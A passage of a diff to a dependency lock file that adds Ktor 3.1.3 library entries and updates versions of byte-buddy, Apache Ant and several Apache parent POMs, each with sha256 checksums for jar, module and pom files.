-   "pom": "sha256-g5JDu+YWEfk3uwtdmzHQyOCWx9DWeZIs9u05+Cxu4NI="
+  "io/ktor#ktor-call-id-jvm/3.1.3": {
+   "jar": "sha256-gLZ42qyYTS/sXE5ZZ2MYItK8G57qk1pizj9uo8anZw8=",
+   "module": "sha256-x1DCb6DCDZfz9ZMtEUiqBhhT4+7ej2KtjALiG17O68Q=",
+   "pom": "sha256-ka+Cj0xtAN7gSn0+YRZLB8krWryTrGB1MD5+3MxyppI="
+  },
+  "io/ktor#ktor-call-id/3.1.3": {
+   "jar": "sha256-I6z4l6bILYmSlPRmZ0YCAPHknNTKp7uH5Dg/LiRzbVA=",
+   "module": "sha256-57YM1/WIqRGu7fHccypNxe+LaWbSmzkUG8xuRPKIxgI=",
+   "pom": "sha256-CgAC7FJxqPycekNdN8JEQIotoDFKuE8Qb4OHl77pZ9A="
+  },
+  "io/ktor#ktor-client-apache-jvm/3.1.3": {
+   "jar": "sha256-YfIjXuxkDJZ6Nip/hhJIUDrF/GywbfvQiakx4g8ztxU=",
+   "module": "sha256-9ECUrA4wO1Oy9SdU4GD5V+LHYPV0Rl3/sz7bodK4JQU=",
+   "pom": "sha256-ELzo+wTaUJxN41YoopyNtnzHOSwH8w7vCGaN5LnAUi4="
+  },
+  "io/ktor#ktor-client-apache/3.1.3": {
+   "module": "sha256-Aa7X/CR5yCi70v80Hpkl0dWpD5SoJthrFsbzPta6JXQ=",
+   "pom": "sha256-r64In4zSRg5gqAHfXNCVJ1ARK+HqQsVp4vMS2SVv134="
+  },
+  "io/ktor#ktor-client-cio-jvm/3.1.3": {
+   "jar": "sha256-moY0FYgFeiPTukVi/civzvb6zQcWeKDCCzsooZ7DXIg=",
+   "module": "sha256-Gf3FXgMKwvEjvNH/Ln9y5kMptpOp6liaI+6ScJrB2ow=",
+   "pom": "sha256-W5X6Bt5nhVLN/vkqmdzS6oaZSitRolVGfk3Arnq6chc="
+  },
+  "io/ktor#ktor-client-cio/3.1.3": {
+   "jar": "sha256-64zDd1PgQKDhC1ZkrqzHic0hPDZJBG9wYrjbmKOxaQI=",
+   "module": "sha256-A8RHfiHmBpt1S5eqX8z4MJXGsK2XfBBo0Zyt2BlkL58=",
+   "pom": "sha256-w8t9kA77xuTM6nvxrJSb1jjJ2CyIQ6bUjq/OInMx/+M="
+  },
+  "io/ktor#ktor-client-core-jvm/3.1.3": {
+   "jar": "sha256-dG4qPezoc3nWTECZlAGWkAHTc94UWP6FHA0uD4gLQu8=",
+   "module": "sha256-5oB4ORvBuH88HMIDRRt9L5uAhHbtptx2RKhYVIkA07Q=",
+   "pom": "sha256-vlfjAdm/W8CML/w7hstr+TRX4ubqpXtWQYb/KnjKTkM="
+  },
+  "io/ktor#ktor-client-core/3.1.3": {
+   "jar": "sha256-7n7a34hBaAPCwgDunledhgDxDkFTIbWOGwto5dn8FVA=",
+   "module": "sha256-EvDAELJfjLyCEWrqFFw6Hw8RAJXPgJE/Ori2ZTij9o8=",
+   "pom": "sha256-x2jprwXTbd2mJ6sk5p2TvM1Zv9MICg9ejvxzSxAPGA4="
+  },
+  "io/ktor#ktor-client-mock-jvm/3.1.3": {
+   "jar": "sha256-KuDVe7n8647irtplNqzG8+HeNVmEtMnacgVmuF8VJeg=",
+   "module": "sha256-fJuLPraloY+Zk+w1jIJ+FtN9aLSrFywUpn5n7N+QZOQ=",
+   "pom": "sha256-OjT7OR5B1MOvM1f15/tiXg5Z3x6OuCpZTZ/q9tYXffM="
+  },
+  "io/ktor#ktor-client-mock/3.1.3": {
+   "jar": "sha256-6zATgJE94DdNhmgvsKGWB6pkNhx5YiCsNGiEVgWyfPY=",
+   "module": "sha256-6E6gbXazYkCKePaK9DRO4ICc0U7JNelanWHjfRnXIfo=",
+   "pom": "sha256-gTytx93jygnLRrYSzaCR/urkneZaqg1EBZOI+CC7DVo="
+  },
+  "io/ktor#ktor-client-websockets-jvm/3.1.3": {
+   "jar": "sha256-mOkOy8uxp7GT2eh59D5wVBBIytE63gIsbWRRj12AJws=",
+   "module": "sha256-9xxqB84CHjXUL6/+6A6VpGalUGcIj5zvc/aUz+p6R7w=",
+   "pom": "sha256-v8mwTaPMfpA87i2PrhHPOiUBkQGA8oKGLtJ7kMysMao="
+  },
+  "io/ktor#ktor-client-websockets/3.1.3": {
+   "jar": "sha256-kaedTZSKg5V+8gireip6nPeO0vzfkuI5vMij6Z5ipXk=",
+   "module": "sha256-4IIc0qsvldXIRdWHAn51dVMGzQvAtdjTc+e80p/R3Ck=",
+   "pom": "sha256-OBV5JptMkfEFPcbwChQuiVsXbKzCZh8cNI4tUDaVSbo="
+  },
+  "io/ktor#ktor-events-jvm/3.1.3": {
+   "jar": "sha256-2nBpxueICdfDfRBOQVYTy9TNXOwe1UozLLZO9qhkoGA=",
+   "module": "sha256-OOQgRWP3P5t/373byAHAmMawHYfTECKQ8sajYuoTUdY=",
+   "pom": "sha256-93csYlM0BJC0293doSvci7K6B+jFvLjAtxvy9rbVgVY="
+  },
+  "io/ktor#ktor-events/3.1.3": {
+   "jar": "sha256-EOdojQWik+k9467ZuxEfmpV00K0IQ9QIzfE0DHncx1c=",
+   "module": "sha256-SrtBkdOeN5QGiSqErN705lqyJiG+hBE5cFn01GIa/vk=",
+   "pom": "sha256-XestkhWtgPoJtSCKhitHo2ydHL0Yo/lM+jgOPUp3GDY="
+  },
+  "io/ktor#ktor-http-cio-jvm/3.1.3": {
+   "jar": "sha256-sErt4Y6cAIFoCW3FOj/AFhd7YaXsMCSvv4ysoM1dv0I=",
+   "module": "sha256-IX4QLGEQ/ocl/6oSUKN+f0t1teTeERcrnPKzOp+wfAg=",
+   "pom": "sha256-gOmz2o6VeGObSyn/TBTP6/IOzNW5xHEz0U+CV5L+CDk="
+  },
+  "io/ktor#ktor-http-cio/3.1.3": {
+   "jar": "sha256-IzLwt1DKuYqOi/YqikkohFAp8Ai79EzF2wgk7qOU3uo=",
+   "module": "sha256-iHbg5qXpx8u3jesES57d9zrGdhAvd86GrXIcm3TtOo0=",
+   "pom": "sha256-GI7a2ilETzpIPqUM1yUDesrifyZuP2+dGycMW/pfWMY="
+  },
+  "io/ktor#ktor-http-jvm/3.1.3": {
+   "jar": "sha256-ilDZS0b5G9VlgLkWknLWzWNvRCAyugeKFB2nBBNGWUY=",
+   "module": "sha256-TspOEQpq9l7faaAXoJJLizyO01cuHvboyhnSp+jOsdI=",
+   "pom": "sha256-+NbU7DyYNRpjYjfuqGVLjC6l2ME9YZR+fbjo+WaOjKo="
+  },
+  "io/ktor#ktor-http/3.1.3": {
+   "jar": "sha256-rUgmpsG5/IZUZ+5jGRCpP7WnGX9wJflqNkwRVcPJRSk=",
+   "module": "sha256-bBO1SCiBE6ubWCOidWV2CulpkWOJ04GgZXyjn7vTim4=",
+   "pom": "sha256-7idNqX1di1SNU4b3fULG67fKrD79rWPRwstbHLDkfqs="
+  },
+  "io/ktor#ktor-io-jvm/3.1.3": {
+   "jar": "sha256-uy+2wAr6o0tTnLMOdYTTe/y6Fxwma725mQ4ANXncJME=",
+   "module": "sha256-pUnfJeuyazKSWYP9oC41YPP++voCniJGncBpPNq7clE=",
+   "pom": "sha256-mNkD8tAjCib7DVxoK61A2MlUq+e5d6FdyMFtENx0tcI="
+  },
+  "io/ktor#ktor-io/3.1.3": {
+   "jar": "sha256-1mdwNHtTpmLFy263VW23Ra0C/yaPZeBYL/SWg41gO5A=",
+   "module": "sha256-YZ/tWS8/2Z8/x/U99YZuJSenDRzUitwSVxJqYxJ/nC8=",
+   "pom": "sha256-7ktgsFmUplhPYYkmL7F/hTXWSW/IlKM16S7UiJogUk0="
+  },
+  "io/ktor#ktor-network-jvm/3.1.3": {
+   "jar": "sha256-+k5hZbWtS/XbM369Xxb5tZbcXkAfvqNDud6sthOCQK8=",
+   "module": "sha256-Si6Qj4EHpZBwIUVoR9cHuGxQzp5tOaFrRO/WzPgvEAI=",
+   "pom": "sha256-TFAXZfbtxft4UvcmvYFXJw2lCfKl58xWlR02Muwro9Y="
+  },
+  "io/ktor#ktor-network-tls-certificates-jvm/3.1.3": {
+   "jar": "sha256-BkwhltwxGzPP+aqaVmTr7dbuiz67IA60jZtfRZQSrlM=",
+   "module": "sha256-gcQGERjUAa6kl6qgylndfhpGJjh5OdRx5JWstsm+OJY=",
+   "pom": "sha256-y7AvvPCe0qrTls3EEiXtE0+t1pEQATHleZ3Y+s0qCxs="
+  },
+  "io/ktor#ktor-network-tls-certificates/3.1.3": {
+   "module": "sha256-/kfhj/9BW9Y/QbJDgAJCbWos1nu2bU3l6fMxWG0puL8=",
+   "pom": "sha256-u91KdHx2L7qlIfadR+KYYEoGqN4xD2L1ub7LB1mcXbk="
+  },
+  "io/ktor#ktor-network-tls-jvm/3.1.3": {
+   "jar": "sha256-9nUHo+i/UqoI11NoLmzdoBlOOr51ARi5nJM2lT5Zi+k=",
+   "module": "sha256-R6w5Z4HWgpnnykgITN4N1ZNrh2FHNAH8wftced8TG7o=",
+   "pom": "sha256-x3zaqx/JtbTUdUvvzgAIbfXxCOn03cL2J4IqACeiFVU="
+  },
+  "io/ktor#ktor-network-tls/3.1.3": {
+   "jar": "sha256-vLgy2Hr+70QUDBlg9ey228QQ9wTzrbL9oi2deO/N3LA=",
+   "module": "sha256-WfzehlGXLzN8L5kJEfakcCxaMcgsRVLnBQH0cFKq9Ok=",
+   "pom": "sha256-YCA6aPexaUd84QS42Y0YGf6p5yPYUSR419IdMcp/FUU="
+  },
+  "io/ktor#ktor-network/3.1.3": {
+   "jar": "sha256-jqkqtUms54rXMCOgdDhnzhDEvH6HuJS8TdPd9EWmh3o=",
+   "module": "sha256-3TRbPopwzopilO5mDnAmO1v2Tkiz5hrJ50dlKpeeZxw=",
+   "pom": "sha256-ilEKTIUHv+XJw7qLFA7eGPWCrBF1+mx46Siiv2XjyrI="
+  },
+  "io/ktor#ktor-serialization-jvm/3.1.3": {
+   "jar": "sha256-DXBLwRSKj9mh8gBeC1GJza7TAw7+JLgjZFnEHDVvViA=",
+   "module": "sha256-hrLAT4uo4LfDEL2gGGd1ra0iQbfx5Dru5CH6aHtD0bs=",
+   "pom": "sha256-4ZshuXOBpTTKtMJCDaZBdTzYYMffWMvEgfrxfgw+LL0="
+  },
+  "io/ktor#ktor-serialization-kotlinx-json-jvm/3.1.3": {
+   "jar": "sha256-m4EPAcqm4/J+Atccq6hZXitLBAcduhbg5CbiARW+01Q=",
+   "module": "sha256-Q8ZICBvOetLCv9HVLiJif/Ctu2WXvR0qBW8kuJfFUBI=",
+   "pom": "sha256-H+t05IxocuBJhVDaoUm51ezRGz8/0rWw16WJ2wJvU4M="
+  },
+  "io/ktor#ktor-serialization-kotlinx-json/3.1.3": {
+   "jar": "sha256-CYtkKozmGWKJ0BsgMOQxfI3hyflxL3tb/dgKyAvoCyE=",
+   "module": "sha256-00l9qrTzDFIDWmtaIxCS6OfTwRkh0kqCQPtW0WO08jc=",
+   "pom": "sha256-GKfcV/J/1w2yrVxQ6NqhQueryuuC1w9XC2K5JekScuo="
+  },
+  "io/ktor#ktor-serialization-kotlinx-jvm/3.1.3": {
+   "jar": "sha256-tNwvnU0d2o1IGgVNf4M7oZXwZPURX946sN/bi0L2H9o=",
+   "module": "sha256-TQfjPiAej7Dz4Au8iPU6czUrNAARd3K6U8b1T03chLI=",
+   "pom": "sha256-MgXGnrCSBOC1v1UiWvKWtqRfWtFfitvdbs9nU8M5CKs="
+  },
+  "io/ktor#ktor-serialization-kotlinx/3.1.3": {
+   "jar": "sha256-AHj3k3AFwnibzWyNaFwBm/7y74WcHrXgsSzCKg7T56o=",
+   "module": "sha256-yc+GGYze19bUrMkH9CRmMEMaKlPCOvJbAkmulngmeBI=",
+   "pom": "sha256-Apcaj2Ndohz/xUbuS2TLhUzxVSPNKO/Jax9BQOsEQ+o="
+  },
+  "io/ktor#ktor-serialization/3.1.3": {
+   "jar": "sha256-1usUAlHKWspctpxK1+8Yk1OiutpxL4Nog4RXCrJCzRA=",
+   "module": "sha256-cEzCV/1TL86ynz3JxpmKhXw8JVuR5sAtlzXCi29Ywr4=",
+   "pom": "sha256-hn199YlXfKzLAkrZuhD9YFZ8CfpoqsAU6QOZzuSEuck="
+  },
+  "io/ktor#ktor-server-call-id-jvm/3.1.3": {
+   "jar": "sha256-rTrEYCx7HiMyWkH2G2lnMJriNcR0yc/Y+3mYSC2vesY=",
+   "module": "sha256-E0rhT6hN6dZmQESVL/Nt5OsgmfaL/GPS+tOFc3W9gGM=",
+   "pom": "sha256-VQUyPQQ9649tC75IijPH75yS5L3Y3wdga8MrzM9GsEI="
+  },
+  "io/ktor#ktor-server-call-id/3.1.3": {
+   "jar": "sha256-QPsVJH80qfHY9NbU6zeNb+Q7GGJ7QU4Ig5MqG8YZDrE=",
+   "module": "sha256-wsauzHFW6QEiqgBvbUBJzA+r4SJnT/vpEMgGKEYDgfQ=",
+   "pom": "sha256-M8us44N1Lsp1fVURdydRZwvuXgCWUeimR+CG7PFqcXc="
+  },
+  "io/ktor#ktor-server-call-logging-jvm/3.1.3": {
+   "jar": "sha256-7X31L642IGDIZyuUMrt7kJl5z7pWqktIZbDvLNglxRM=",
+   "module": "sha256-VCBc70vbjMgJX4lU3JpcfvU8ImYLT5qd5F36JXIuDtc=",
+   "pom": "sha256-t3DDhM7ut6pisXLree6nWqKX1aYcJA94Pg3otS/NJQ8="
+  },
+  "io/ktor#ktor-server-call-logging/3.1.3": {
+   "jar": "sha256-CJ4kQXv59sNO7Fcg7rssvMguooVezvkBM+sX4QedWGg=",
+   "module": "sha256-CgT5aT2q2oRyRQfMrJDFsbhdwOQd4z0Cy9V+c9LmGtg=",
+   "pom": "sha256-TXkBTRr1UUpsDc0mRobP6RZcIUxAwYmVtq3BMdjU0Y8="
+  },
+  "io/ktor#ktor-server-cio-jvm/3.1.3": {
+   "jar": "sha256-8VJv6U6NdsUlG1ol5LS7chmaJdPh9gReS55CeJKT8Gk=",
+   "module": "sha256-jF0I8BCfdzqJxxGy+6UZpxN+s20aNdqsBxlOhHT/cno=",
+   "pom": "sha256-jYVlFWQAUM8hwbsJGwySg+AxA5jq7NF08IDxvMZxDfw="
+  },
+  "io/ktor#ktor-server-cio/3.1.3": {
+   "jar": "sha256-KC7iPoPNM7ETWgb5cKPnFJ1yQAEO1SVPUS9QDgID0l4=",
+   "module": "sha256-/2Sq4LOGKM/ZmC6Oaulpm58Wul9KZEyYVeikTEQfwBk=",
+   "pom": "sha256-Is28uQDeec36fV1VUc81PvreC8sst8ra0XMFY5fNhLg="
+  },
+  "io/ktor#ktor-server-content-negotiation-jvm/3.1.3": {
+   "jar": "sha256-w1b9Wlr7+4tDGOHXcppI9vDsYL4Dxx6cTOajBOTFJ2o=",
+   "module": "sha256-bd72oiTHCSObzfd90inqxNHPzmfuwfu/f088kavQYSU=",
+   "pom": "sha256-K44R9mNdl/LmTNAB6A4l3w5zCQzdiIP9GZJzZk3Jtuc="
+  },
+  "io/ktor#ktor-server-content-negotiation/3.1.3": {
+   "jar": "sha256-zp/Y6sVgtfvD9fUdCT6aqAA86sA/GZo4NhqwtcLsy/A=",
+   "module": "sha256-SvkMyeuDjpzCSjoInox442aX7hEuZU9u2KlrBTC4EBc=",
+   "pom": "sha256-prlMX89HukRZm7b3nD9FtNpzYe2LwgLsaqn8bLkP0h8="
+  },
+  "io/ktor#ktor-server-core-jvm/3.1.3": {
+   "jar": "sha256-v1groARjTQ00O7Lfoe3Q6N4YzcLGB6QInbi3nTCF0Qo=",
+   "module": "sha256-ZHlHr1JToWRVDLpNSDySwdYaQ6OH1vyh+i1KTufmgxI=",
+   "pom": "sha256-0/zeJwXJ3zLhKLLao7ieLEyXWs8WX0yY46ySWbz9k2E="
+  },
+  "io/ktor#ktor-server-core/3.1.3": {
+   "jar": "sha256-n+YeO2DxvKhHcxl/pdkEkpQpM6wNGoxhMBYIjk/HVKA=",
+   "module": "sha256-BxQ9OzY9g3H2iABYcT5McpJNs8K/WLAPka8DdDt8L9E=",
+   "pom": "sha256-VMbKa2gSQD4SxOHzputA+R9bAjjHe7dOz9q4vjx0eJo="
+  },
+  "io/ktor#ktor-server-cors-jvm/3.1.3": {
+   "jar": "sha256-2ugPxtOsO/+i/DPKu+d3b7HihnVxRktUrgkO49qxoOE=",
+   "module": "sha256-YeolK4tzm148tUP51u077wIAj5RtbkuZbOl3miCU6Ro=",
+   "pom": "sha256-MpdTjWVFj9O0xXMDir8A1GK6rjv5Lq6sG21uNEtH5e0="
+  },
+  "io/ktor#ktor-server-cors/3.1.3": {
+   "jar": "sha256-XLfoUSjIQ88lTsNnH9d1KY2ePRwLyQtj0zolzAKTxHc=",
+   "module": "sha256-Gq3OQioAWKS7LRr4J9CB415u/5lpsLVzaUD2W6WYwhw=",
+   "pom": "sha256-j1OZffe+XGR1zXmGO054OWNlXaS0GVVG0LDqWZshWBo="
+  },
+  "io/ktor#ktor-server-forwarded-header-jvm/3.1.3": {
+   "jar": "sha256-s/5ie75S2mX7QNjEerdsRPupljs8nDEjhwQ0GoEHfcI=",
+   "module": "sha256-w4fnLNPOdjpBBijHIZT45HN1vSkG+jTf+7iN8VC7KAE=",
+   "pom": "sha256-OpaLxwNHvyWzUAoOs6+IpHjS4muXFdvd6l8/2mxNG4Y="
+  },
+  "io/ktor#ktor-server-forwarded-header/3.1.3": {
+   "jar": "sha256-HulEGAyI4tFlLm1QeCY5sRLVcdvoukuIFjRPTEoKM3w=",
+   "module": "sha256-Pxd4X7nqMuMkxCaOlPnt/rDHC/8r5Tp0ThbZKlsMDkk=",
+   "pom": "sha256-vMhQMKQcIBuT9G2tPO76XF+QU9Yx0P/9Z+t26Dk13D0="
+  },
+  "io/ktor#ktor-server-status-pages-jvm/3.1.3": {
+   "jar": "sha256-3yRhBJ//jUfWekNSRNN8yxpYB6s09e0Msz9KdN3ylW8=",
+   "module": "sha256-JW6mNpHvN35LumZDQuM77iT4QCuGbDXQd9V9qdjbfS4=",
+   "pom": "sha256-muGktnWGux/LNpQkW0buokeYGdS0p85UefOFZGtbg14="
+  },
+  "io/ktor#ktor-server-status-pages/3.1.3": {
+   "jar": "sha256-emBe4975jEOApk7fge0C0SZ352mLxjmplrkexsRL0MY=",
+   "module": "sha256-ld6F0TrWQOAzu+LYFWptmoHhDcdk5A3+dPCUWwKcsNw=",
+   "pom": "sha256-tNjWQzwDYT3UOISqZT6DVPfWoHs50lz0+b34OzO5hWo="
+  },
+  "io/ktor#ktor-server-test-host-jvm/3.1.3": {
+   "jar": "sha256-JBz8iHfwdYLZ4aPV9kKlMXUbpV1qPPy03UANS+Jl/bI=",
+   "module": "sha256-VS79ptC5+EvuLPMdrM7SNgJbCtDUXmUP7lvB+4DmLAg=",
+   "pom": "sha256-4GSEOaK5jw+2l5Py3HxdOjWS1AcAJGryry0SEYb/Sag="
+  },
+  "io/ktor#ktor-server-test-host/3.1.3": {
+   "jar": "sha256-N3BXI3qHirkZ3VN2ZM7Pal/SpLUZ1fc6FWVBaqOmOB4=",
+   "module": "sha256-YaPbsgWq0MkdHPEpfYYYbZwVcp8KOpr8tmRjwIWjmRM=",
+   "pom": "sha256-KWsnR/usc2YKH/tcAs7EL5qAAKQakM/XZm6LQF8EdV8="
+  },
+  "io/ktor#ktor-server-websockets-jvm/3.1.3": {
+   "jar": "sha256-XX+QXUiqiNepjf/sOU4aUMSKcDqUDUN0tTeYJdYCWzI=",
+   "module": "sha256-bO13M/ikp+IL53YKlFG4YHzB7OI2YRO130BXx3zJgdQ=",
+   "pom": "sha256-Wl34pRgEfol295ye1/2DAryMaMMvboujUHJ7JCNLlhg="
+  },
+  "io/ktor#ktor-server-websockets/3.1.3": {
+   "module": "sha256-H0FP3DbRwIXwMnX4jjMrlHPo0aeaz6GaMYfCj/s5EW8=",
+   "pom": "sha256-QG/cwxgyVWWv34Z1hSFMd3u1Ry6rBljVPole9jRqF4o="
+  },
+  "io/ktor#ktor-sse-jvm/3.1.3": {
+   "jar": "sha256-oq6KM4ux1EbRbc/qIYnvWlvjGogSOzh5Vit5VWZ6Vjk=",
+   "module": "sha256-rdg6VuF2nwNnQhRnvrsHfPywrKIG5GKlJ9xYePU2K1M=",
+   "pom": "sha256-QOpyqdXTF9TMFZl3/HvSlQED4m5/3C3sRKgxWNyzmxE="
+  },
+  "io/ktor#ktor-sse/3.1.3": {
+   "jar": "sha256-CZgN7Mg5zmR1e5ziCOTFcdyH/Iqx1JBq0bVWBfp5s8Q=",
+   "module": "sha256-y6bUpfymP+8fbYEujnoYIC37tlUfFsrjPjM9aJ3xmmo=",
+   "pom": "sha256-zm3mJKVfOZ/FzYOKH1e4NjEp6x5j851TbCQnpe2AZYw="
+  },
+  "io/ktor#ktor-test-dispatcher-jvm/3.1.3": {
+   "jar": "sha256-NrzzX5TEWzqMBQ38UuiJfwnh4IGiSnWjio+nsCk1flc=",
+   "module": "sha256-/tR5MXA2RYzSqhlb5RDEKIIZY8sC73wTPoeI4nYYgF4=",
+   "pom": "sha256-SyL11I6e6FgTtCAeZlxLnn1pHKbhxAaW8TSnhJoV4HE="
+  },
+  "io/ktor#ktor-test-dispatcher/3.1.3": {
+   "jar": "sha256-AN3bYYjb/HGfe6upeVoizfw3YeOaWT6Pf0XkMgco2sc=",
+   "module": "sha256-gHxquj5arC0GbU2CwiN2mimNFyAcwWqSjrR+7sqQ7+A=",
+   "pom": "sha256-B62EIIeEymYaKPwyH+pDmqrMTmxmMqnnJHh0TMKOGFM="
+  },
+  "io/ktor#ktor-utils-jvm/3.1.3": {
+   "jar": "sha256-MzM5N7mPwMjpQ+5LELPqZrSXgt+1acRMFC2k8y2F3/w=",
+   "module": "sha256-lWS9gapHoNIfgfAhNx2KfzP42nJXb42E5YTPe8KCZ7g=",
+   "pom": "sha256-nkoVp9atlvtmX5kPM/TJDIUmPLkxUlDUmzEw3Bxx3Rs="
+  },
+  "io/ktor#ktor-utils/3.1.3": {
+   "jar": "sha256-8x9wURdB2HuriPQcJIu/q8Kokg/CsWr7iWvSkSQDyhk=",
+   "module": "sha256-JZJhaENGuzO48fd5tY0RafZYNLa8SwOxzI6QOaVNFgw=",
+   "pom": "sha256-i3GcmWpfQAiH+9aZyYfyQ59q3DGyS+I8UaOR+Yfinu0="
+  },
+  "io/ktor#ktor-websocket-serialization-jvm/3.1.3": {
+   "jar": "sha256-Z/D1ZuLtUXF/btVfbStN7hyEvk6izZb8Y20L3w/UMGc=",
+   "module": "sha256-u1PzbCOOIEp3AojhuUkEpyDqjMmCpBnr0NlthP/2Dpg=",
+   "pom": "sha256-GE/EIEOdOTZc2yOAp9iqWCRQmuJ2WGYLrdUgiLTtRaY="
+  },
+  "io/ktor#ktor-websocket-serialization/3.1.3": {
+   "jar": "sha256-H4Kdk+9uqBnvMbwuO81vRj8f2/Zgrg6MngFGGSs1khE=",
+   "module": "sha256-49SsMoW7+o4lNURzq9eVpX2Z28k5wL0+1ZjDH1JHSRs=",
+   "pom": "sha256-ZrLLfZtUa9iXxCSSwsFvresrRhtWEK1tQbLwX9MAEeA="
+  },
+  "io/ktor#ktor-websockets-jvm/3.1.3": {
+   "jar": "sha256-7yi08SBU7hJXZbcv4yMOIVpgtzsv8gcqXCgPzwkykHc=",
+   "module": "sha256-0TNZF+t77kMTTSYVARydRRUdDN3+036GsoZN9N959ck=",
+   "pom": "sha256-wpP8Ln5PBBczeWfnK4iFVsDICmv2vjSdzi9WBAVFl78="
+  },
+  "io/ktor#ktor-websockets/3.1.3": {
+   "jar": "sha256-+haBQSo9iI+FM+XkJwLzOOTgUmpr3dKhxOxk0WdTlMk=",
+   "module": "sha256-la4yLJcPwcxRMttyqbkXOYd7eYEaHHAW4P02P4fTTlg=",
+   "pom": "sha256-nfZPKimVknp58bfTOSkwi/8WWJ36VdYix6hSVIZMDWA="
   },
   "jakarta/activation#jakarta.activation-api/1.2.1": {
    "jar": "sha256-iwoPUvqLBcVDGSGgY+2GbvqkHa3y46fuPhlh8rDZZFs=",
@@ -608,23 +653,23 @@
    "jar": "sha256-+9BS0tTNFvcHVHxGhiHGt/uELH7Ihm0BLsvGF43h85Q=",
    "pom": "sha256-GZB0lfvBwjFsjrrXbwe5bRAf6xp+PAm/4VJv0/xu7J0="
   },
-  "net/bytebuddy#byte-buddy-agent/1.14.9": {
-   "jar": "sha256-Ee0QfUt45V+MPTQlBJQ3UIGim8ElofXFbbWCzN1Ig18=",
-   "pom": "sha256-qxHpogIx0YZqfUA16wsAdbgDYNjN3F0KNzw5WE6c0kc="
+  "net/bytebuddy#byte-buddy-agent/1.17.4": {
+   "jar": "sha256-4drn78VWLCmtO2JbkOaGQgjeabrVYyw/k6VH8XYirFE=",
+   "pom": "sha256-1ghCjJXnT6aXreYmDmCUE8O+oL+Wh72hvoe3BAPi/8k="
   },
   "net/bytebuddy#byte-buddy-parent/1.10.9": {
    "pom": "sha256-k9nTgHec0XaMUrS87oLL+u3vmkow3oeuBrRB4WNP04w="
   },
-  "net/bytebuddy#byte-buddy-parent/1.14.9": {
-   "pom": "sha256-Zrg0IlHTXyBj5pMW9juvywVjQv516SHA9GXC2WWTU14="
+  "net/bytebuddy#byte-buddy-parent/1.17.4": {
+   "pom": "sha256-4FQGL6bGDfvTnqmX8zgQZWTR7w3f5vu+qGeD+toDvak="
   },
   "net/bytebuddy#byte-buddy/1.10.9": {
    "jar": "sha256-B7nKbi+XDLA/SyVlHfHy/OJx1JG0TgQJgniHeG9pLU0=",
    "pom": "sha256-QIgdSUiocRWTRicPNpRbwpAlV3xstX9qXdDHwiIGnaw="
   },
-  "net/bytebuddy#byte-buddy/1.14.9": {
-   "jar": "sha256-N3NS4lMoK/hvcxrJDtiDSOj0CmPOAzwAqFmC3n55Dm8=",
-   "pom": "sha256-LWdykQ0WFpvUySKeijZc9U4ZK8Ygy8+n+EJx9dEV6BU="
+  "net/bytebuddy#byte-buddy/1.17.4": {
+   "jar": "sha256-dHaHMSGaWy4MydKxyeIJLgYiJC5BsZJaa6c0bhYHMbw=",
+   "pom": "sha256-7sHUc2OcrqtenXbx+KSGRrCQZ7DFyYS3oL5TAoghg10="
   },
   "net/java/dev/jna#jna-platform/5.9.0": {
    "jar": "sha256-GQO8bYfzq5ICOVe5H0WpyOs1FbrQMDVs6XcgHlFBtyQ=",
@@ -652,16 +697,19 @@
   "org/apache#apache/31": {
    "pom": "sha256-VV0MnqppwEKv+SSSe5OB6PgXQTbTVe6tRFIkRS5ikcw="
   },
-  "org/apache/ant#ant-launcher/1.10.14": {
-   "jar": "sha256-8JCXJaeiTjk4iPP7tVg0er9QbOL368WB/yYzG5TZUaU=",
-   "pom": "sha256-nJ2qQSPp63BzVnk2UsOIo1UQqqWm0UW0T4VdCN1LK7w="
+  "org/apache#apache/33": {
+   "pom": "sha256-14vYUkxfg4ChkKZSVoZimpXf5RLfIRETg6bYwJI6RBU="
   },
-  "org/apache/ant#ant-parent/1.10.14": {
-   "pom": "sha256-CBYQamBniMJw767yFWLPy9j0uvfafBG85RSetWYbMx8="
+  "org/apache/ant#ant-launcher/1.10.15": {
+   "jar": "sha256-XIVRmQMHoDIzbZjdrtVJo5ponwfU1Ma5UGAb8is9ahs=",
+   "pom": "sha256-ea+EKil53F/gAivAc8SYgQ7q2DvGKD7t803E3+MNrJU="
   },
-  "org/apache/ant#ant/1.10.14": {
-   "jar": "sha256-TLvZJD3kwQQtYdmhXbTEPJD/k7FteLOUgdoclWyOlnE=",
-   "pom": "sha256-L6QmnmscRXI6iojmnZhKdm27IEzQ/pgUlMzfP+469lw="
+  "org/apache/ant#ant-parent/1.10.15": {
+   "pom": "sha256-SYhPGHPFEHzCN/QoXER3R5uwgEvwc3OUgBsI114rvrA="
+  },
+  "org/apache/ant#ant/1.10.15": {
+   "jar": "sha256-djrNpKaViMnqiBepUoUf8ML8S/+h0IHCVl3EB/KdV5Q=",
+   "pom": "sha256-R4DmHoeBbu4fIdGE7Jl7Zfk9tfS5BCwXitsp4j50JdY="
   },
   "org/apache/commons#commons-parent/34": {
    "pom": "sha256-Oi5p0G1kHR87KTEm3J4uTqZWO/jDbIfgq2+kKS0Et5w="
@@ -669,8 +717,12 @@
   "org/apache/commons#commons-parent/42": {
    "pom": "sha256-zTE0lMZwtIPsJWlyrxaYszDlmPgHACNU63ZUefYEsJw="
   },
-  "org/apache/commons#commons-parent/69": {
-   "pom": "sha256-1Q2pw5vcqCPWGNG0oDtz8ZZJf8uGFv0NpyfIYjWSqbs="
+  "org/apache/commons#commons-parent/74": {
+   "pom": "sha256-gOthsMh/3YJqBpMTsotnLaPxiFgy2kR7Uebophl+fss="
+  },
+  "org/apache/groovy#groovy-bom/4.0.22": {
+   "module": "sha256-Ul0/SGvArfFvN+YAL9RlqygCpb2l9MZWf778copo5mY=",
+   "pom": "sha256-Hh9rQiKue/1jMgA+33AgGDWZDb1GEGsWzduopT4832U="
   },
   "org/apache/httpcomponents#httpasyncclient/4.1.5": {
    "jar": "sha256-DBh3SJqdG6T6UPbPyrEdESNhiFjLMdVq+qta/dUGTZk=",
@@ -700,22 +752,22 @@
    "jar": "sha256-PLrtCIxJmhD5bd5Y853A55hRcavYgTjKFlWocgEbsUI=",
    "pom": "sha256-Kaz+qoqIu2IPw0Nxows9QDKNxaecx0kCz0RsCUPBvms="
   },
-  "org/apache/logging#logging-parent/10.6.0": {
-   "pom": "sha256-+CdHWECmQIO1heyNu/cJO2/QJiQpPOw31W7fn8NUEJ4="
+  "org/apache/logging#logging-parent/11.3.0": {
+   "pom": "sha256-pcmFtW/hxYQzOTtQkabznlufeFGN2PySE0aQWZtk19A="
   },
-  "org/apache/logging/log4j#log4j-api/2.23.1": {
